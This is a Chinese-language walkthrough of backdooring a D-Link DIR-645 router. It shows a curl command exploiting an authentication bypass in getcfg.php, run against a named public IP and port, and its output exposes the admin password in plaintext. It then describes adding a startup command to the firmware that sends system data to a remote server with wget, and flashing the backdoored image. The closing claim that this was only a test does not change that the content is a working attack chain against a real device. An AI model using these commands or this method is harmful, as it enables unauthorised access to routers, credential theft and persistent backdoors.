# dir-645后门植入
dir-645有一个远程身份绕过的漏洞,可以post一些制定参数到路由器从而拿到密码
```
获取管理员密码:
curl -d SERVICES=DEVICE.ACCOUNT http://<device ip>/getcfg.php
```
目标路由的ip:213.182.235.167
目标路由的端口:1080
通过上面那个漏洞获取到管理员的账号密码
```
[email protected] ~> curl -d SERVICES=DEVICE.ACCOUNT http://213.182.235.167:1080/getcfg.php
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
<service>DEVICE.ACCOUNT</service>
<device>
<gw_name>DIR-645</gw_name>
<account>
<seqno>2</seqno>
<max>2</max>
<count>2</count>
<entry>
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>KU-820_FA(2015)</password>
<group>0</group>
<description></description>
</entry>
<entry>
<uid>USR-1</uid>
<name>user</name>
<usrid></usrid>
<password></password>
<group>101</group>
<description></description>
</entry>
</account>
<group>
<seqno></seqno>
<max></max>
<count>0</count>
</group>
<session>
<captcha>0</captcha>
<dummy></dummy>
<timeout>600</timeout>
<maxsession>128</maxsession>
<maxauthorized>16</maxauthorized>
</session>
</device>
</module>
</postxml>
[email protected] ~>
```
其中一栏显示了admin的账号密码
```
<entry>
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>KU-820_FA(2015)</password>
<group>0</group>
<description></description>
</entry>
```
使用得到的密码登录路由,提示登录成功
![](media/14709707067125/14709712454918.jpg)
下载了对应的路由器固件并且将固件解压出来之后,在固件的开机启动项中写入了一个获取系统内核的命令,并且使用路由器的wget命令传到一台远程服务器。
![](media/14709707067125/14712467312736.jpg)
之后将固件压缩成一个有后门的bin文件,使用路由器管理界面的固件上传将后门固件更新上去。(远程服务器已经在监听http访问日志) 等待上传完成之后就可以看到有日志记录了。可以看到test页面的test参数返回了路由器的内核信息,因为test.php这个页面是不存在的 所以是404.
![](media/14709707067125/14712468292430.png)
使用另外一个漏洞远程连接到路由器,在路由器内使用命令可以看到内核信息和返回的信息时一样的。证明后门植入成功
![](media/14709707067125/14712470642323.jpg)
以上仅是测试,测试完毕之后已经刷回官方固件。